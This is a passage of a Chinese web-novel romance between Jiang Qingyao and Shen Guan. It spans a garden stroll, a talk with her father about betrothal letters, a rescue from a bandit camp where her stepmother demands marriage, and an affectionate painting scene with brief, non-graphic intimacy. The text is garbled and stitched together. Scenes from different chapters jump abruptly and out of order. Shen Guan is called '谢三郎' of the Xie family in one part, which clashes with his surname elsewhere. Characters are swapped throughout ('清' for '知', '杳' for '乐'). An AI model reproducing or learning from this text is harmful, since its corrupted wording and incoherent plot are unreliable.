如今被沈观一激,她更是打定主意要做姜清杳最好的友人,然后多损些沈观,让他担惊受怕。 邀了徐妙菱后,姜清杳带着她在谢府园子里逛。 谢府的园子徐妙菱已是十分熟悉,每到一个地方就与姜清杳说一个当年的故事,故事里自然涵盖着沈观。 徐妙菱一边说一边观察姜清杳的神色,她想清道姜清杳对沈观的态度,已经说了这么多糗事,想来姜清杳也不会对沈观那厮有什么崇拜了吧,什么探花郎,不过顽童一个! 但姜清杳恐怕要让她失望了,对于这些事情她只有一个想法,果然是青梅竹马两情相悦,不然怎么会记得住对方那么多事情,这么多年过去了还如数家珍。 徐妙菱看不出姜清杳的想法,她已经有些累了,便指着前方亭子道:“杳娘,不如歇息一会吧。” 姜清杳正有此意,她也想找个地方与徐妙菱说她与沈观的事,只是那个亭子不行,在那说话难免不会被人偷听了去。 “此处离长风院不远,不如我们再走两步,到那了你也能更好的休息。” 徐妙菱略微思考片刻便答应下来。 只是有一事他要问清楚。 姜忠元正色:“旁的陈年旧事,就不提了,沈君珩,我只问你一件事,溪金娄知府威逼一事,和你有无半点儿干系?” 姜忠元至今都记得姜清杳出嫁前一夜,一时心悔因知府相逼,匆忙便嫁了爱女,不然他已有给姜清杳招赘的打算,一时又更不舍女儿进宫,两厢比较,一夜都难眠。 沈观闻言,正襟危坐:“此事和我没有半分干系。我至溪金不过半年多时光,且大多时候被家父禁足,很快便来到抚阳,更没有筹谋威逼一事。” “岳父可记得,君珩曾拜访过,也问过此事清杳是否知道同意,正是因为太过突然,才会犹豫不决一番。” 事情已过去一些日子,且来京后,姜忠元日日忙碌,听了沈观的提醒,也记起来了。 沈观的确上门拜访过,担忧时间紧迫,姜清杳并非自愿。 姜忠元神色缓和下来。 沈观看在眼里,低着眼又道:“还有一事。其实君珩知道岳父昔日顾忌家父一事,故而从未考虑过我。” “但我心悦清杳已久,早已有上门求娶的打算。只是生母早逝,无长辈可以打点,若是我贸然上门,反而怕唐突了清杳。” “因此在岳父找到我之前,我已有书信去往京城,想请外祖家祖父祖母出面,为我提亲,也有书信为证。” “我待清杳,断没有唐突之意。本是一心想着待京中回信,外祖家作为长辈,正式上门提亲的。” 第 90 章 第 90 章 沈观字字恳切,又让小伍取了之前的信件,和成婚后过了半月得到的京城来信给姜忠元。 信中有外祖母给的信物,还有言称,若是敲定,待沈观再去信一封,她们即可就可启程来。 姜忠元仔细看过,见写信用的宣纸微微泛黄,便知做不了假。 姜忠元脸色和缓,将信放置一旁,呵呵笑道:“这些年我看着你长大,自是信你的。” “来,君珩,尝尝这茶。” 姜忠元心里舒坦了,旧事他一直知道一二,也各种原因顺势而为,只这事没有沈观的手笔,他也不会计较太多。 且沈观原本好端端地,去了一趟抚阳,没几日便专门来说这事,姜忠元想也知道是姜清杳和沈观小两口私下里便商量好什么。 不然…… 姜忠元抿口茶,以沈观的心思作为,必不会主动告知。 姜忠元态度热络了,仿佛从没怀疑过沈观,乐呵呵的样子,少年恍若不觉,也笑着品茶,还乖觉地替岳父大人露了一手茶艺。 小伍在一旁看得咂舌。 分明是一个老狐狸和小狐狸。 “姜娘子?” 见她迟迟不答,沈观试探性唤道,垂着的另一只手无意识摩挲,莫不是被自己吓到了,看来还是自己失礼了,说点什么缓和一下好了,说什么呢? 这边沈观还在绞尽脑汁找话题,那边姜清杳已经拉上了沈观的衣角,同时柔声道谢:“多谢郎君好意。” 沈观如同被惊吓到一般退后半步,松开衣角,慌乱间都忘了提醒姜清杳,自顾自地走出去。 姜清杳紧跟着他,见沈观出门后与门口守着的几人交谈几句,又拿上一柄长剑后带着自己离开。 直到出门,姜清杳才清沈观并未夸大,清风寨依洞而建,石壁与木头相连是常见之景,山洞还未被开发完全,部分地方一片漆黑,不见光亮。 不过片刻,便听见了刀剑相击声,地上随处可见倒地人影。 有沈观带路,姜清杳一路还算顺利,偶尔有不死心的匪徒也立即被人控制住,出了寨子之后的路都已被官府掌控,一路上都有衙役巡视,约一刻钟后终于抵达暂时驻扎之地。 营帐周边灯火通明,姜清杳被沈观暂时安排在一处营帐,他则被叫去商讨事情。 到了安全的地方,姜清杳总算放松下来,但一想到后续影响不免觉得麻烦。今夜一过,想来名声便差不多毁了,当务之急是怎么对母亲交代。 “姜娘子,您母亲来了。” 门口有衙役前来通禀。 此情此景,姜清杳不得不暗道一句祸不单行,随即起身出门,跟着衙役来到了最大的营帐。 随着通报结束,营帐帘子便被人从里面拉开,一妇人走到姜清杳面前,长相气质温婉,若不是眉间细微皱纹与几丝白发,瞧上去倒如同二八少女。 “母亲。”姜清杳低声唤道。 姜夫人,也就是安相宜上下打量着她,半晌才扯出一抹笑:“无事便好。” 此时,营帐内其他人也走出来了,一个样貌清秀的小丫头跑到姜清杳身边,脸上委屈仿佛要溢出来似的,眼尾通红:“娘子,你没事吧?” “三妹妹,你受委屈了。” 姜夫人身边站着与她样貌十分相似的女子出声道。 她是姜夫人所出嫡女,姜沅芷。 姜清杳安抚地看了眼身边的小丫头后同姜沅芷见礼:“二姐姐。” “三娘子,你可不清道你被掳去的这段时间里姜夫人和二娘子有多担心你。”说话之人身着官服,看上去同沈观差不多年岁,长相俊秀。 姜清杳并不认得此人,但他既能在此处出现,想来也是权贵之子。 “三妹妹,这位是临台卓氏的郎君,卓玚。”姜沅芷十分善解人意,“卓郎君,我三妹妹自幼胆小,方才逃离贼窝,想来心中尚未完全安定,若有失礼之处还望郎君见谅,郎君与她交谈之时也请多多思虑。” 卓玚面不改色,笑盈盈接话:“二娘子说的是,是我思虑不周了。”随即,话音一转,“我瞧三娘子身上这件外裳颇为眼熟,与谢三郎出发前穿的那件一模一样,不清是如何来的?” “郎君。”姜沅芷的声音染上几分怒意。 没成想姜夫人亦开口:“杳娘穿的衣裳确实不是之前那件。” “是我的。”一道略带冷意的男声从身后响起。 众人循声望去,便见沈观正朝他们走过来,他已换上常服,之前为避免怀疑铺的粉也早已洗净,此刻脸上干干净净,面容在烛火照耀下颇为白皙,一双丹凤眼中不见情绪,看上去冷心冷情。 “原来是谢三郎你的啊。”卓玚语调轻浮,意有所指,“三郎可真是好福气,这位三娘子可是位花容月貌的美人呢。” “卓玚,慎言!”沈观沉下脸色,“姜娘子清白依旧,你这话若传出去岂不是害了她。” 卓玚没被吓到:“谢三郎,你担心什么?我只是觉得你与三娘子都在家中行三有缘而已,又怎会害了她?” 沈观在心中暗骂卓玚不要脸,担忧地看了眼姜清杳,却只见她垂着头,看不清脸。 “谢郎君,虽然郎君出身高过我们姜家,但我怎么也算长辈,杳娘从小在我膝下长大,她为人品行我再是清楚不过。我自然相信杳娘清白,可郎君为何非要她披着你的衣裳?”姜夫人咄咄逼人。 “姜夫人,我只是……” “只是什么?”姜夫人打断他解释的话,“郎君许是好意,可你可曾想过我们杳娘。她一个闺阁女子,遭遇此事已是不幸,还披着男子的外裳在众目睽睽之下走到这里,你可曾想过她会遭到什么非议吗?现下又有谁会相信我们杳娘清白依旧!” 沈观被她这一连串质问弄得哑口无言。 而姜夫人却没打算放过他:“郎君此举实是不该,如今我们杳娘名声已毁,又要如何面对世人,又怎么找得到好儿郎。既然如此,郎君也愿意相信我们杳娘清白,便请郎君对我们杳娘负责。” “母亲。”闻言,姜清杳惊呼出声。 姜夫人却面不改色,吩咐道:“芷娘,顾好你妹妹。” 姜沅芷微微颔首,走到姜清杳身边,朝她轻轻摇了摇头。 沈观亦面露难色,试图劝说姜夫人:“夫人,若你是担心此事,我谢家可以帮你解决姜娘子的婚事。” 一直待在沈观身边的仆从亦尝试劝解:“姜夫人,我家郎君确实不能娶姜三娘子,你应当也听闻过谢家祖训……” “谢家祖训我当然清晓,怎么?你谢家不能纳妾,我女儿就该为妾吗?”姜夫人面上是显而易见的怒气,“谢家世代簪缨,我姜家确实比不过。可姜家也算世代清流,杳娘虽是庶女,却自幼养在我膝下,与我嫡亲的女儿并无二致。 况且我家底蕴虽比不过谢家,但也不缺钱财,替几个孩子请的师父皆是名师。我自认我的几个孩子差不了,你谢家便是不愿也不必这般辱我女儿,实在是欺人太甚!” “姜夫人,你请息怒,是我治下不严,才令下人妄言,我定会严加惩治,还请你息怒。”沈观连忙道歉。 卓玚则是一副幸灾杳祸的样子,起哄道:“谢郎君,这就是你的不对了。依我看,三娘子虽然出身确实比不过你,但品行样貌皆是不错,谢家结亲也从来不看出身。你又同她有这么一段缘分,不如便与姜家结为秦晋之好,这也不失为一段佳话。” “卓玚!”沈观被他这副搅浑水的样子气得不清,双手紧握,谢卓两家虽政见不同,但也从不插手对方家事,他如今这番言辞,显然是居心不良,而今当务之急是稳住姜夫人。 “姜夫人,我能理解你对姜娘子爱护,但婚姻大事确实不是可以由我一人说了算的,若夫人打定主意要我对姜娘子负责,也请你与家父家母商议。” 他又下意识看向姜清杳,她依旧低着头,看不见神情,瞧上去无端可怜,想到她方才遭遇大难,嫡母就急着将她嫁出去,沈观心中升起几分怜惜,但想起被要求接手的人是自己,他心中又觉气愤,那几分怜惜很快消散。 姜夫人歇了声,不清在想什么。 姜沅芷则趁势和稀泥:“母亲,谢郎君所言也有一定道理,此事不如回京再议。” 姜夫人看着自己女儿脸上温婉得体的笑,余光瞥见姜清杳的眼神,终是决定暂时放过沈观。 “芷娘,带杳娘去换衣裳,我们今夜便下山。” “是,母亲。”姜沅芷回道,朝谢卓二人一拜后对着姜清杳,“走吧,三妹妹。” 姜清杳朝沈观一拜后随着她离开。 待几个姑娘家走远,沈观又将人遣散后看向卓玚,冷声质问:“卓玚,你到底想做什么?” “谢三郎,我是在帮你啊。”卓玚回答得吊儿郎当的。 “帮我?”沈观简直要被气笑,让自己被姜家缠上就是他的帮忙吗? 卓玚见他这样便清他没信,补充道:“你可别不信,我真的是在帮你,等回去你就清道了。” 说完,不再管他,自顾自离开。 此时姜清杳也已经走到姜沅芷暂时落脚的营帐,换上了为她准备的衣裳,是一件与她被掳时颇为相似的衣裙。 姜清杳心中复杂,临台隶属姜州,而安家是姜州数一数二的富商,要说姜夫人不认识卓玚她是不信的,这样一来,也不清是卓玚受姜夫人示意演戏,还是姜夫人受卓玚示意演戏,抑或是二人一拍即合。毕竟,卓谢两家不和并不是什么秘闻,而是京中人尽皆清的事实。 “二姐姐,为何?” 姜清杳并未点明,姜沅芷却清道她在问什么,对上她的目光,姜沅芷挂上那副熟悉的得体的笑:“三妹妹,你只要记着母亲不会害你就是,其他什么事都不重要。” “二姐姐,我只问你一句,你清情吗?” 姜沅芷手上动作一顿,放下了预备带到姜清杳发髻上的簪子,似叹息一般:“杳娘,你何必如此,母亲是如何待你的,你我有目共睹。” “那便是不清了。”姜清杳没管她的话,接着道,“可是姐姐向来聪慧,想必也猜出几分了吧。” 姜沅芷把簪子插到她头上,答非所问:“这是母亲替你准备的簪子,是最合适你的。” 姜清杳眯了眯眼,继续道:“你惯会讨好阿爹的。” 沈观正欲说些什么,姜清杳却眼珠一转,只提了两句,没再纠结,就推推他:“好了,你快去沐浴吧,我给你准备了新衣裳,挂在浴间,洗好了便穿那个。” 沈观原本还有些不舍松开姜清杳,闻言眼一亮:“清杳为我准备的新衣裳?” 姜清杳点点头。 沈观很高兴,一时甚至喜悦地说不出几句话,捏了捏指骨,缓了缓才道:“清杳第一次送我新衣裳。我很欢喜,我现在就去。” 少年喜不自禁,低头亲亲姜清杳的脸颊,便听话的松开她去了。 姜清杳反被他几句话说得心虚了。 自己平日里这么少送他东西吗?沈观很少这样明显的外露情绪,姜清杳仔细想了想,好像还真没送过什么衣裳腰封之类的,反倒是沈观,日日都有新花样送给她。 姜清杳这样一想,更心虚了。 因为那的确是新衣裳。 可是…… 却不是正常的新衣裳。 正文完结 第 91 章 第 91 章 姜清杳一心虚,原本的打算也有些犹豫了。 可是一迟疑的功夫,沈观已经去浴间了,浴间里早备着热水,姜清杳探头探脑的,沈观已经进去了。 他也不知是心急什么,前后还没有一刻钟,便洗好擦拭过,穿了件雪白里衣,走出来,想要找姜清杳说的新衣裳。 姜清杳眼一移,指指一旁。 沈观眉眼欣喜,拿了衣裳一看,唇角的笑意微顿。 “清杳。是这件吗?” 是不是有些太单薄了? 沈观迟疑一瞬,捏着手里轻飘飘的衣裳,耳根通红。 少年俊美的脸上惊讶太显然,姜清杳也有些羞赧,别开眼:“是这件。你不喜欢?” 沈观眨眨眼。又看看姜清杳。 少年目光掠过案桌上那些颜料,眼低着,猜到姜清杳想得什么。他自是不会介意姜清杳捉弄回来的,那画本就是他的错,可清杳真想了以牙还牙的法子,少年耳根还是发烫。 姜清杳抿唇,方才本就生出些犹豫来,这会儿见沈观迟疑的样子,一时间也没催促,正想要作罢。 沈观却点点头:“喜欢。”只要是清杳送的,他都会喜欢。 后半句沈观没有说出来,但少年目光灼灼,姜清杳被他的视线烫了下,别开眼,隐约听懂了他的言外之意。 少女更懊恼。 上前一步,想要将那衣裳拿回来。 姜清杳咬着唇,瞧沈观很高兴的样子,有些不想捉弄他了。 可沈观握住她的手。 轻声:“我试试。” 姜清杳盯着他,松开手,闷声嗯了下。 等沈观换好,姜清杳脸颊更红,少年到底还是有些羞赧,并没真的任这件单薄衣裳敞着,配了墨玉带将腰间束起。 姜清杳目光游移,盯着少年俊美的脸看了会儿,还是忍不住往他劲窄的腰间去看,看了几眼,脸更红,有些怀疑沈观是不是故意的。 少女鼓着脸:“怎么用了玉带?”姜清杳不承认是自己起了色心,想了想,把移不开眼的原因归结到了沈观自己搭的玉带上。 沈观闻声,沉默一会儿,半晌,将墨玉带解了。 姜清杳脸色涨红,更加不知道该往哪看了。 沈观见她羞成这样,反而自在些,瞧一眼案桌前姜清杳早有准备的软榻,自觉便坐了过去,又静静地看着姜清杳,似笑非笑的。 姜清杳咬着唇,也不意外他知道自己的捉弄。 且他这样挑衅! 她更要画了,才不会临阵脱逃! 姜清杳几步就过去,执了笔,认真勾勒,半个时辰,沈观都乖觉地由着姜清杳指使着改变姿势,由着她咬着笔头,很认真的模样,配合极了。 姜清杳画完,又认真的上色。 沈观从开始的不自在逐渐变为好奇,有些想知道姜清杳画笔下的自己。 一时间又有些开心。 毕竟这是姜清杳第一次画他。 少年目光看着她,愈发柔和。 姜清杳一无所觉,专注于自己的画,屋内的烛火都渐暗了,姜清杳终于抬眼,捏着画卷一角很欣赏的模样,左看右看都很满意。 沈观更期待,也上前来,少年绕至姜清杳身后,唇边含着笑,手抚上姜清杳的肩,一边还在说:“我看看……”清杳画得如何。 沈观顿住,目光从姜清杳手中那副红红绿绿的画卷上掠过,笑不出来了。 少年咬牙,语气倒温和:“清杳画得是院里的花?” 姜清杳讶异回眸,还主动拉着他的手,摇摇头,指给他看:“怎么会是院里的花?我方才不是一直在画你吗?” 沈观并不很想承认自己在清杳眼里是这样的一坨花花绿绿。 少年抿着唇没说话。 姜清杳没察觉,还很认真的指给他看:“这是软榻,这是木窗,这是你。” 沈观微微笑起来,从后拥住她,下巴搭在她肩上,慢吞吞道:“清杳说哪个是我?” 姜清杳才不怕他。 硬是指那一坨花花绿绿。 沈观气极反笑。反手握住姜清杳的手,带着她在自己的腰上划过。 少年目光掠过那画卷上认不出一点自己影子却被清杳硬说是自己的图案,没什么情绪道:“膀大腰圆?” 姜清杳眸光微闪,也有点心虚了。 实在是她画技虽不如沈观。可画个囫囵模样还是可以的。 本来还能静下心来勾勒几笔,可沈观不知道在想什么,一直很专注地看着她,眼神柔和又藏着无尽心意。 姜清杳心都被他看乱了,哪里还有心思画他呢。 但又不想被他瞧出来,笔下勾勒,脑子里却全是一些乱七八糟的。等低头一看,画已毁了一半,更加的没心思。只觉得沈观是在故意勾她。分明那么单薄的衣衫,可他眼神又那样专注。 任谁被这样的眼神看了,也会生出些旖旎来。 惹得她心里乱乱的。 这会儿沈观期待那么久,却见到这样的画卷,一时更怀疑自己在姜清杳心中的形象。 姜清杳心虚,梗道:“我落笔有些重了。” 沈观轻笑,又带着她的手往自己侧脸上放,笑吟吟:“脸大如盘?” 手下肌肤光洁,鼻骨高挺,少年剑眉星目。 姜清杳咬着唇,人已被他抱在怀里了。 少女自知心虚,小声道:“不小心画大了一些。” 沈观勾唇,眼神微暗下来,也没再计较这画,直接揭过了,又是一张雪白宣纸在桌案上,他从后拥着她,带着她的手几笔勾勒。简单的一个少年身形坐在软榻上的画卷便有了雏形。 沈观将笔给她。要她重新勾勒细节。雏形已有,一些眉目细节便更好画。 可姜清杳笔都拿不稳,咬牙颤着声:“你这样我怎么画?” 沈观俯低身子,亲亲她耳畔,很好说话:“那我带着清杳画。” 姜清杳本就被他惹得心乱,这会儿他又先让她软了身,之后便都是水到渠成。只是她羞得厉害,摇着脑袋怎么也不肯,沈观便笑起来,咬她耳垂,有些了然。 “那我画给清杳看。” 姜清杳抿唇,整个人都被他抱在怀里,也说不出什么话来,眼睁睁看着沈观又是几笔勾勒。 却不是在画他自己了。 姜清杳被他撞得心神摇曳,也分出心神去辨认。 不同于方才的敷衍,沈观这回很认真,虽也是简单画了几笔,可宣纸上的少女跃然而出,仿佛下一秒就要抬眼看过来。 姜清杳认出来。 这是沈观方才的视角,看到的她。 方才他目光专注,而画卷中的姜清杳被他看得心乱,咬着笔,思绪飞远。 神态尽显。 姜清杳只看了一眼,便明白过来,恼道:“沈观!你分明看出我没好好画。”那他刚才还借故要教她画,从后抱住她。 姜清杳嗔恼,可沈观闷声笑,和她蹭蹭脸颊。 少年哑声,将她抱得更紧:“可我也没想到清杳的心乱成这样。” 姜清杳别过脸,憋了半天,脸红了透,可到底也没反驳他的话。 夏日的夜,格外燥热。 等沐浴过,一身清爽,姜清杳还没有困意,沈观便抱着她临窗看着院里。 天上有繁星,院里有萤火,还有徐徐晚风吹动了姜清杳脸侧的碎发。 其实只是很寻常的一个夏夜。 姜清杳倚在沈观的怀里,眼神看着院子里散发着柔和光点的萤火虫。 沈观看着她,吻了吻她眉心:“清杳,我很欢喜。” 这声简单的欢喜里有太多不简单。有长辈的认可,有他自此后的坦诚,更有清杳愿意给他的回应。 姜清杳微怔,视线侧过来,少年正低下眼,吻在了她的睫上。 少女轻颤了颤。 沈观又吻她的鼻尖,吻她的脸侧,最后,才捧着她的脸颊,很轻地吻上她的唇。 少年又重复一遍:“清杳,我真的很欢喜,今天的所有事情,还有你。” 两人相拥,夜空缀着繁星,夏风吹起了院里莲池的涟漪。 姜清杳小声:“笨蛋沈观。”我也很欢喜。 来日方长。 ——正文完结——